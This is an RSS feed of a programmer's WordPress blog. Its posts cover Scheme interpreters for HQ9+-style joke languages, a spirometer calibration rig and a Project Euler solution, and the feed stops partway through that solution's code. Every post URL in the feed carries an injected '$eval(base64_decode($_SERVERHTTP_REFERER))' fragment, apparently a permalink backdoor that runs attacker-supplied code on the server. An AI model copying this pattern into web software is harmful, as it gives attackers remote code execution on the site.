<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ivan Lakhturov</title>
	<atom:link href="http://lakhturov.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://lakhturov.info</link>
	<description>yet another programmer's weblog</description>
	<lastBuildDate>Wed, 20 Apr 2011 20:44:27 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.1</generator>
		<item>
		<title>HQ9+, H9+, KL esoterical languages and the beer song</title>
		<link>http://lakhturov.info/2011/04/04/hq9-h9-kl-esoterical-languages-and-the-beer-song/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2011/04/04/hq9-h9-kl-esoterical-languages-and-the-beer-song/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 15:06:27 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[misc]]></category>
		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=244</guid>
		<description><![CDATA[Let's first sing a beer song (in R6RS Scheme): #!r6rs &#40;library &#40;sing-beer-song&#41; &#160; &#160; &#160; &#160; &#160;&#40;export sing-beer-song&#41; &#160; &#160; &#160; &#160; &#160;&#40;import &#40;rnrs&#41;&#41; &#160; &#160; &#160; &#160; &#160; &#160;&#40;define &#40;sing-beer-song n&#41; &#160; &#160; &#160; &#160; &#160; &#160;&#40;define &#40;n-bottles i capital?&#41; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#40;string-append &#160; &#160; &#160; &#160; &#160; &#160; &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Let's first sing a <a href="http://www.99-bottles-of-beer.net/lyrics.html">beer song</a> (in R6RS Scheme):</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">#!r6rs</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>library <span class="br0">&#40;</span>sing-beer-song<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>export sing-beer-song<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>import <span class="br0">&#40;</span>rnrs<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>sing-beer-song n<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>n-bottles i capital?<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>string-<span class="kw1">append</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">cond</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> i <span class="nu0">-1</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>number-&gt;string <span class="nu0">99</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">and</span> <span class="br0">&#40;</span><span class="kw1">eqv?</span> i <span class="nu0">0</span><span class="br0">&#41;</span> capital?<span class="br0">&#41;</span> <span class="st0">&quot;No more&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> i <span class="nu0">0</span><span class="br0">&#41;</span> <span class="st0">&quot;no more&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">else</span> <span class="br0">&#40;</span>number-&gt;string i<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot; bottle&quot;</span> <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw1">eqv?</span> i <span class="nu0">1</span><span class="br0">&#41;</span> <span class="st0">&quot;&quot;</span> <span class="st0">&quot;s&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot; of beer&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>where?<span class="br0">&#41;</span> <span class="st0">&quot; on the wall&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>what-to-<span class="kw1">do</span>? n<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&gt; n <span class="nu0">0</span><span class="br0">&#41;</span> <span class="st0">&quot;Take one down and pass it around, &quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="st0">&quot;Go to the store and buy some more, &quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>string-<span class="kw1">append</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&quot;<span class="es0">\n</span>&quot;</span> <span class="br0">&#40;</span>n-bottles n #t<span class="br0">&#41;</span> <span class="br0">&#40;</span>where?<span class="br0">&#41;</span> <span class="st0">&quot;, &quot;</span> <span class="br0">&#40;</span>n-bottles n #f<span class="br0">&#41;</span> <span class="st0">&quot;.<span class="es0">\n</span>&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>what-to-<span class="kw1">do</span>? n<span class="br0">&#41;</span> <span class="br0">&#40;</span>n-bottles <span class="br0">&#40;</span>- n <span class="nu0">1</span><span class="br0">&#41;</span> #f<span class="br0">&#41;</span> <span class="br0">&#40;</span>where?<span class="br0">&#41;</span> <span class="st0">&quot;.<span class="es0">\n</span>&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&gt; n <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>sing-beer-song <span class="br0">&#40;</span>- n <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Then let's make an extra library:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">#!r6rs</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>library <span class="br0">&#40;</span>language-utilities<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>export glue<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span>import <span class="br0">&#40;</span>rnrs<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>glue los<span class="br0">&#41;</span> <span class="br0">&#40;</span>fold-left string-<span class="kw1">append</span> <span class="st0">&quot;&quot;</span> los<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>... and we are ready to write yet-another <a href="http://esolangs.org/wiki/HQ9">HQ9+</a> interpreter:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">#!r6rs</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>import <span class="br0">&#40;</span>rnrs<span class="br0">&#41;</span> <span class="br0">&#40;</span>sing-beer-song<span class="br0">&#41;</span> <span class="br0">&#40;</span>language-utilities<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">; HQ9+ interpreter v0.1 (Ivan Lakhturov)</span></div>
</li>
<li class="li2">
<div class="de2"><span class="co1">; http://esolangs.org/wiki/HQ9</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> i <span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>run-program <span class="kw1">s</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>run-command c<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">cond</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\H<span class="br0">&#41;</span> <span class="st0">&quot;Hello, World!&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\Q<span class="br0">&#41;</span> <span class="kw1">s</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\<span class="nu0">9</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>sing-beer-song <span class="nu0">99</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\+<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">set!</span> i <span class="br0">&#40;</span>+ i <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span> <span class="co1">; (number-&gt;string i))</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">else</span> <span class="br0">&#40;</span><span class="kw1">string</span> c<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span>glue <span class="br0">&#40;</span><span class="kw1">map</span> run-command <span class="br0">&#40;</span>string-&gt;list <span class="kw1">s</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">display</span> <span class="br0">&#40;</span>run-program <span class="st0">&quot;HQ9+&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>HQ9+ is a joke language, featuring "Hello world" command, quine command, beer-song command and a counter increment (counter cannot be accessed or printed out). Quine implementation here is the classical "quine-cheating", where a program has access to its source. To make the quine more 'honest' somebody designed <a href="http://esolangs.org/wiki/H9">H9+</a>. This is the same as HQ9+, but without "Q" command, and additionally, all characters on input are ignored, except for H, 9 and +. Then, obviously, "Hello, World!" program will be a quine. Let's implement H9+:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">#!r6rs</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>import <span class="br0">&#40;</span>rnrs<span class="br0">&#41;</span> <span class="br0">&#40;</span>sing-beer-song<span class="br0">&#41;</span> <span class="br0">&#40;</span>language-utilities<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">; H9+ interpreter v0.1 (Ivan Lakhturov)</span></div>
</li>
<li class="li2">
<div class="de2"><span class="co1">; http://esolangs.org/wiki/H9</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> i <span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>run-program <span class="kw1">s</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>run-command c<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">cond</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\H<span class="br0">&#41;</span> <span class="st0">&quot;Hello, World!&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\<span class="nu0">9</span><span class="br0">&#41;</span> <span class="br0">&#40;</span>sing-beer-song <span class="nu0">99</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\+<span class="br0">&#41;</span> <span class="br0">&#40;</span><span class="kw1">set!</span> i <span class="br0">&#40;</span>+ i <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span> <span class="co1">; (number-&gt;string i))</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">else</span> <span class="st0">&quot;&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span>glue <span class="br0">&#40;</span><span class="kw1">map</span> run-command <span class="br0">&#40;</span>string-&gt;list <span class="kw1">s</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">display</span> <span class="br0">&#40;</span>run-program <span class="st0">&quot;Hello, World!&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>And let's implement also a variation of this theme, the esoterical language <a href="http://ivanguide.ru/kl/">KL</a>:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">#!r6rs</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span>import <span class="br0">&#40;</span>rnrs<span class="br0">&#41;</span> <span class="br0">&#40;</span>language-utilities<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">; KL interpreter v0.1 (Ivan Lakhturov)</span></div>
</li>
<li class="li2">
<div class="de2"><span class="co1">; http://ivanguide.ru/kl/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>run-program <span class="kw1">s</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>run-command c<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">cond</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\+<span class="br0">&#41;</span> <span class="st0">&quot;Привет, мир!&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\-<span class="br0">&#41;</span> <span class="kw1">s</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\*<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">&quot;Я узнал, что у меня</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Есть огpомная семья –</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0">И тpопинка, и лесок,</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">В поле каждый колосок!</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Речка, небо голубое –</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Это все мое, pодное!</span></div>
</li>
<li class="li2">
<div class="de2"><span class="st0">Это Родина моя!</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">Всех люблю на свете я!&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw1">eqv?</span> c #\/<span class="br0">&#41;</span> <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">else</span> <span class="br0">&#40;</span><span class="kw1">string</span> c<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="br0">&#40;</span>glue <span class="br0">&#40;</span><span class="kw1">map</span> run-command <span class="br0">&#40;</span>string-&gt;list <span class="kw1">s</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#40;</span><span class="kw1">display</span> <span class="br0">&#40;</span>run-program <span class="st0">&quot;+/-/*/extras&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>The semantics is as following: + is printing "Hello, world!" in Russian, - is printing a program's source, / is making a newline, and * print outs a poem from Russian movie "Brother".</p>
<p>To complete the picture, we can mention other close related to HQ9+ joke languages: <a href="http://esolangs.org/wiki/HQ9_Plus_Plus">HQ9++</a>, <a href="http://esolangs.org/wiki/CHIQRSX9_Plus">CHIQRSX9</a>, <a href="http://esolangs.org/wiki/HQ9_B">HQ9+B</a>, <a href="http://esolangs.org/wiki/HQ9_2D">HQ9+2D</a>. HQ9++ is 'an object-oriented extension of HQ9+'; not interesting. CHIQRSX9+ adds eval, ROT-13 and sorting of input lines. ROT-13 (Caesar cipher) is a nice exercise to implement, but let's leave it for later. HQ9+B adds Brainfuck: this is definitely a thing to implement, but I will deal with Brainfuck later. HQ9+2D is not properly specified (even for a joke language), but commands it adds remind me 2D Turing-machine, so called <a href="http://en.wikipedia.org/wiki/Langton%27s_ant">Langton's ant</a>. I want to implement and play with different Turing-machines, but later.</p>
<p>Later I will also look through the <a href="http://esolangs.org/wiki/Category:Joke_languages">list of joke languages</a>. For example, the first there is a 'language' <a href="http://esolangs.org/wiki/99">99</a>, which just prints out '99 bottles of beer' song. Anyways, I hope, there could be something exciting in the list.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2011/04/04/hq9-h9-kl-esoterical-languages-and-the-beer-song/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aerodynamic calibration rig</title>
		<link>http://lakhturov.info/2010/10/06/aerodynamic-calibration-rig/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2010/10/06/aerodynamic-calibration-rig/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 06 Oct 2010 16:01:10 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=234</guid>
		<description><![CDATA[More than five years ago I worked for "DX-Complexes" and "Spectromed-UA". Here is a video about one of the projects I accomplished there. This is the aerodynamic calibration rig for metrological testing of spirographs. (What is a spirograph? See spirometry topic at Wikipedia). http://www.youtube.com/watch?v=y4KBf_SQJhk There is no sound in this video, cause we wanted to [...]]]></description>
			<content:encoded><![CDATA[<p>More than five years ago I worked for "DX-Complexes" and "<a href="http://spectromed.com.ua/">Spectromed-UA</a>". Here is a video about one of the projects I accomplished there. This is the aerodynamic calibration rig for metrological testing of spirographs. (What is a spirograph? See <a href="http://en.wikipedia.org/wiki/Spirometry">spirometry</a> topic at Wikipedia).</p>
<p><a href="http://www.youtube.com/watch?v=y4KBf_SQJhk">http://www.youtube.com/watch?v=y4KBf_SQJhk</a></p>
<p>There is no sound in this video, cause we wanted to make a promo-video out of this, and some voiceover was supposed to be done later. But the device was too specialized, so we decided not to. So, let it be an advertisement for myself.</p>
<p>The schematics is in the illustration:</p>
<p><img src="http://lakhturov.info/images/rig.png"></p>
<p>I operate the control program, written in C#, which communicates by COM-port with the embedded program in C. Both are written by me. Then this embedded program drives the device you see on video. It consists of electronics, the engine, worm gear and a piston going forwards and backwards in a plexiglass cylinder. The air flow generated by the device is registered with a spyrograph, connected via USB-port to another PC, where a third-party spirometry program is installed (visible in the second part of video).</p>
<p>Naturally, to verify the accuracy of a spiro-device, the calibration rig has to be in sctrict accuracy limits itself. It wasn't so trivial to achieve those specs. I remember one of the problems with overjumps: when you turn off the power of an engine, the piston doesn't stop momentarily due to inertia and slips further. What's the solution? To apply maximal reverse force via the engine as soon as the piston is supposed to stop. A period of time when we apply that reverse force depends on a few hard-to-estimate factors, so it was easier to fit this empirically.</p>
<p>This device can be considered as a very simple 'robot' with just one degree of freedom. Despite simplicity, it took us (2 people, me for software and a colleague for electronics and mechanics) around half a year of occasional work to get it done. Nevertheless, my friends in Ukraine report this device is still in field, they use it up to now without any complaints rising.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2010/10/06/aerodynamic-calibration-rig/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Problem 4 ver. 4: optimization</title>
		<link>http://lakhturov.info/2009/12/18/problem-4-ver-4-optimization/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2009/12/18/problem-4-ver-4-optimization/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 18:37:05 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[projecteuler]]></category>
		<category><![CDATA[scheme]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=221</guid>
		<description><![CDATA[Find the largest palindrome made from the product of two 3-digit numbers. And the last scratch for now. It is possible to prove that 11 divides a palindromic number. Indeed, and here is a multiple of 11 (divisibility by 11 criterion). The factor 11 can belong to a - and in this case we step [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the largest palindrome made from the product of two 3-digit numbers.</p></blockquote>
<p>And the last scratch for now. It is possible to prove that 11 divides a palindromic number. Indeed, <p style='text-align:center;'><span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_8bfa201e76648a25814995297e4b3c4e.gif' style='' class='tex' alt="N = \sum_{i=0}^k (10^{2k-i+1} d_i + 10^i d_i) = \sum 10^i d_i (10^{2(k-i)+1} + 1) = \sum 10^i d_i m_i " /></span></p> and here <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_342e772474b691ac87dac30aeef596c0.gif' style=' padding-bottom:2px;' class='tex' alt="m_i" /></span> is a multiple of 11 (divisibility by 11 criterion).</p>
<p>The factor 11 can belong to a - and in this case we step just 1 in b. But if 11 doesn't divide a, then we can increase b by 11 each time.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"> &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>find-largest-palindrome-using<span class="nu0">-11</span> k<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>m <span class="br0">&#40;</span>- <span class="br0">&#40;</span>^ <span class="nu0">10</span> k<span class="br0">&#41;</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#93;</span> <span class="br0">&#91;</span>m/<span class="nu0">10</span> <span class="br0">&#40;</span>^ <span class="nu0">10</span> <span class="br0">&#40;</span>- k <span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">let</span> <span class="br0">&#40;</span><span class="br0">&#91;</span>m<span class="nu0">-11</span> <span class="br0">&#40;</span>* <span class="nu0">11</span> <span class="br0">&#40;</span>div m <span class="nu0">11</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">define</span> <span class="br0">&#40;</span>iter a b largest-palindrome<span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#40;</span><span class="kw1">if</span> <span class="br0">&#40;</span>&lt; a m/<span class="nu0">10</span><span class="br0">&#41;</span> largest-palindrome</div>
</li>
<li class="li1">
